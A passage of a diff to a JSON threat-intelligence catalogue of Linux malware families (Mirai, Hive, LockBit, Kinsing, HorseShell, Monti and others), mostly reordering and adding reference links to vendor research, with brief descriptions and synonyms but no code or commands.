"https://blog.netlab.360.com/hns-botnet-recent-activities-en/", - "https://blog.avast.com/hide-n-seek-botnet-continues", - "https://threatlabs.avast.com/botnet", - "https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/", - "https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/", "https://www.bleepingcomputer.com/news/security/hns-evolves-from-iot-to-cross-platform-botnet/", + "https://blog.netlab.360.com/hns-botnet-recent-activities-en/", + "https://threatlabs.avast.com/botnet", + "https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/", + "https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/", "https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code--hide--n-seek-bot.html", + "https://unit42.paloaltonetworks.com/hide-n-seek-botnet-updates-arsenal-with-exploits-against-nexus-repository-manager-thinkphp/", "https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/", - "https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/" + "https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/", + "https://blog.avast.com/hide-n-seek-botnet-continues" ], "synonyms": [ "HNS" @@ -4969,26 +5158,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hive", - "https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/", - "https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/", - "https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html", - "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", - "https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/", "https://github.com/reecdeep/HiveV5_file_decryptor", - "https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://arxiv.org/pdf/2202.08477.pdf", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://twitter.com/malwrhunterteam/status/1455628865229950979", - "https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html", "https://twitter.com/ESETresearch/status/1454100591261667329", + "https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html", + "https://twitter.com/malwrhunterteam/status/1455628865229950979", + "https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html", + "https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/", + "https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/", "https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/", - "https://blog.group-ib.com/hive", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf", + "https://blog.group-ib.com/hive", + "https://arxiv.org/pdf/2202.08477.pdf", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/", + "https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/", "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", "https://github.com/rivitna/Malware/tree/main/Hive" ], "synonyms": [], @@ -4997,6 +5187,19 @@ "uuid": "c22452c8-c818-4577-9737-0b87342c7913", "value": "Hive (ELF)" }, + { + "description": "Checkpoint Research describes this as part of a custom firmware image affiliated with the Chinese state-sponsored actor \u201cCamaro Dragon\u201d, a custom MIPS32 ELF implant. HorseShell, the main implant inserted into the modified firmware by the attackers, provides the attacker with 3 main functionalities:\r\n* Remote shell: Execution of arbitrary shell commands on the infected router\r\n* File transfer: Upload and download files to and from the infected router.\r\n* SOCKS tunneling: Relay communication between different clients.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.horseshell", + "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9d04d96a-92fd-4731-a3b5-a3fdafd3e523", + "value": "Horse Shell" + }, { "description": "", "meta": { @@ -5062,11 +5265,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ipstorm", - "https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf", - "https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/", "https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/", + "https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf" ], "synonyms": [ "InterPlanetary Storm" @@ -5094,12 +5297,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji", - "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", - "https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/", - "https://www.bitdefender.com/box/blog/iot-news/kaiji-new-strain-iot-malware-seizing-control-launching-ddos-attacks/", "https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", + "https://www.bitdefender.com/box/blog/iot-news/kaiji-new-strain-iot-malware-seizing-control-launching-ddos-attacks/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775" + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", + "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", + "https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/" ], "synonyms": [], "type": [] @@ -5112,12 +5315,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten", - "https://www.lacework.com/blog/the-kek-security-network/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day", - "https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/", - "https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf", "https://www.lacework.com/the-kek-security-network/", - "https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html" + "https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/", + "https://www.lacework.com/blog/the-kek-security-network/", + "https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf", + "https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day" ], "synonyms": [ "STD" @@ -5132,10 +5335,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kerberods", - "https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916", - "https://blog.talosintelligence.com/2019/09/watchbog-patching.html", - "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/", + "https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916", + "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", + "https://blog.talosintelligence.com/2019/09/watchbog-patching.html", "https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html" ], "synonyms": [], @@ -5149,11 +5352,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.keyplug", + "https://experience.mandiant.com/trending-evil/p/1", "https://www.mandiant.com/resources/apt41-us-state-governments", "https://twitter.com/CyberJack42/status/1501290277864046595", - "https://www.mandiant.com/resources/mobileiron-log4shell-exploitation", - "https://experience.mandiant.com/trending-evil/p/1", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf" + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0330.pdf", + "https://www.mandiant.com/resources/mobileiron-log4shell-exploitation" ], "synonyms": [ "ELFSHELF" @@ -5181,25 +5385,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing", - "https://unit42.paloaltonetworks.com/atoms/moneylibra/", - "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", - "https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743", - "https://www.cyberark.com/resources/threat-research-blog/kinsing-the-malware-with-two-faces", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", - "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/", + "https://www.cyberark.com/resources/threat-research-blog/kinsing-the-malware-with-two-faces", "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/", - "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", - "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", - "https://twitter.com/IntezerLabs/status/1259818964848386048", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://unit42.paloaltonetworks.com/cve-2020-25213/", - "https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html", - "https://www.trendmicro.com/en_us/research/22/i/a-post-exploitation-look-at-coinminers-abusing-weblogic-vulnerab.html", - "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", + "https://twitter.com/IntezerLabs/status/1259818964848386048", "https://redcanary.com/blog/kinsing-malware-citrix-saltstack/", + "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", + "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", + "https://unit42.paloaltonetworks.com/atoms/moneylibra/", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", "https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743", + "https://www.trendmicro.com/en_us/research/22/i/a-post-exploitation-look-at-coinminers-abusing-weblogic-vulnerab.html", + "https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html", + "https://blog.aquasec.com/kinsing-malware-exploits-novel-openfire-vulnerability", + "https://unit42.paloaltonetworks.com/cve-2020-25213/", + "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/", + "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/" ], "synonyms": [ "h2miner" @@ -5227,9 +5432,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kobalos", - "https://team-cymru.com/blog/2021/02/05/kobalos-malware-mapping/", - "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf", "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/", + "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf", + "https://team-cymru.com/blog/2021/02/05/kobalos-malware-mapping/", "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf" ], "synonyms": [], @@ -5327,21 +5532,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.lockbit", - "https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/", - "https://blog.compass-security.com/2022/03/vpn-appliance-forensics/", - "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", - "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", - "https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://security.packt.com/understanding-lockbit/", - "https://analyst1.com/ransomware-diaries-volume-1/", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", - "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", - "https://www.ic3.gov/Media/News/2022/220204.pdf", "https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/", + "https://blog.compass-security.com/2022/03/vpn-appliance-forensics/", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://analyst1.com/ransomware-diaries-volume-1/", + "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", + "https://www.ic3.gov/Media/News/2022/220204.pdf", + "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", + "https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants", + "https://github.com/prodaft/malware-ioc/tree/master/PTI-257", + "https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants" + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://securelist.com/crimeware-report-lockbit-switchsymb/110068/", + "https://security.packt.com/understanding-lockbit/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html" ], "synonyms": [], "type": [] @@ -5354,9 +5563,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.loerbas", + "https://atdotde.blogspot.com/2020/05/high-performance-hackers.html", "https://www.cadosecurity.com/2020/05/16/1318/", - "https://twitter.com/nunohaien/status/1261281419483140096", - "https://atdotde.blogspot.com/2020/05/high-performance-hackers.html" + "https://twitter.com/nunohaien/status/1261281419483140096" ], "synonyms": [], "type": [] @@ -5423,9 +5632,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta", + "https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7", "https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/", - "https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes", - "https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7" + "https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes" ], "synonyms": [ "PureMasuta" @@ -5453,10 +5662,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.melofee", - "https://blog.exatrack.com/melofee/" + "https://blog.exatrack.com/melofee/", + "https://asec.ahnlab.com/en/55785/", + "https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/" ], "synonyms": [ - "Mélofée" + "M\u00e9lof\u00e9e" ], "type": [] }, @@ -5469,12 +5680,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.messagetap", "https://attack.mitre.org/groups/G0096", + "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/" + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" ], "synonyms": [], "type": [] @@ -5487,8 +5698,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.midrashim", - "https://github.com/guitmz/midrashim", - "https://www.guitmz.com/linux-midrashim-elf-virus/" + "https://www.guitmz.com/linux-midrashim-elf-virus/", + "https://github.com/guitmz/midrashim" ], "synonyms": [], "type": [] @@ -5501,8 +5712,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey", - "https://securitykitten.github.io/2016/12/14/mikey.html", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md" + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md", + "https://securitykitten.github.io/2016/12/14/mikey.html" ], "synonyms": [], "type": [] @@ -5515,66 +5726,73 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai", - "https://www.cadosecurity.com/technical-analysis-of-the-ddos-attacks-against-ukrainian-websites/", - "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/", - "https://blog.reversinglabs.com/blog/mirai-botnet-continues-to-plague-iot-space", - "https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/", - "https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html", - "https://isc.sans.edu/diary/22786", - "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", - "http://osint.bambenekconsulting.com/feeds/", - "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", - "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", - "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - 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"https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/", + "https://www.youtube.com/watch?v=KVJyYTie-Dc", + "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/", + "https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/", + "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", + "https://www.lacework.com/blog/malware-targeting-latest-f5-vulnerability/", + "https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/", "https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/", - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/" + "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html", + "http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/", + 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"https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/", + "https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/", + "https://unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/", + "https://deform.co/the-infamous-mirai-trojan-evolves-new-pandora-variant-targets-android-tvs/", + "https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet", + "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", + "https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/", + "https://blog.reversinglabs.com/blog/mirai-botnet-continues-to-plague-iot-space", + "https://www.netscout.com/blog/asert/ddos-attack-campaign-targeting-multiple-organizations-ukraine", + "https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/", + "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", + "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/with-mirai-comes-miori-iot-botnet-delivered-via-thinkphp-remote-code-execution-exploit/", + "https://www.politie.nl/nieuws/2019/oktober/2/11-servers-botnet-offline.html", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot", + "https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/", + "https://cert.gov.ua/article/37139", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", + "https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet", + "https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html", + "https://synthesis.to/2021/06/30/automating_string_decryption.html", + "https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html", + "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/" ], "synonyms": [ "Katana" @@ -5610,15 +5828,28 @@ "uuid": "aaf8ce1b-3117-47c6-b756-809538ac8ff2", "value": "Momentum" }, + { + "description": "A ransomware, derived from the leaked Conti source code.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.monti", + "https://www.trendmicro.com/en_us/research/23/h/monti-ransomware-unleashes-a-new-encryptor-for-linux.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7df77b77-00dd-4eba-a697-b9a7be262acc", + "value": "Monti" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot", "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", - "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", - "https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b", "https://blog.netlab.360.com/ddos-botnet-moobot-en/", + "https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b", + "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", "https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/", "https://www.fortinet.com/blog/threat-research/mirai-based-botnet-moobot-targets-hikvision-vulnerability" ], @@ -5635,8 +5866,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.moose", "http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/", "http://www.welivesecurity.com/2015/05/26/moose-router-worm/", - "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Paquet-Clouston.pdf", - "http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/" + "http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/", + "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Paquet-Clouston.pdf" ], "synonyms": [], "type": [] @@ -5649,17 +5880,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mozi", - "https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/", - "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", - "https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/", + "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", "https://www.nozominetworks.com/blog/overcoming-the-challenges-of-detecting-p2p-botnets-on-your-network/", - "https://blog.netlab.360.com/mozi-another-botnet-using-dht/", + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", + "https://www.elastic.co/blog/collecting-and-operationalizing-threat-data-from-the-mozi-botnet", "https://www.youtube.com/watch?v=cDFO_MRlg3M", - "https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/", + "https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/", "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", "https://blog.netlab.360.com/the-mostly-dead-mozi-and-its-lingering-bots/", - "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", - "https://www.elastic.co/blog/collecting-and-operationalizing-threat-data-from-the-mozi-botnet" + "https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/", + "https://blog.netlab.360.com/mozi-another-botnet-using-dht/", + "https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/", + "https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/" ], "synonyms": [], "type": [] @@ -5672,10 +5904,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack", + "https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/", + "https://news.drweb.com/?i=5760&c=23&lng=en", "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", - "https://news.drweb.com/?i=5760&c=23&lng=en" + "https://blog.syscall.party/post/aes-ddos-analysis-part-1/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf" + ], + "synonyms": [ + "AESDDoS", + "Dofloo" ], - "synonyms": [], "type": [] }, "uuid": "fc047e32-9cf2-4a92-861a-be882efd8a50", @@ -5712,8 +5950,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ngioweb", - "https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/", "https://twitter.com/IntezerLabs/status/1324346324683206657", + 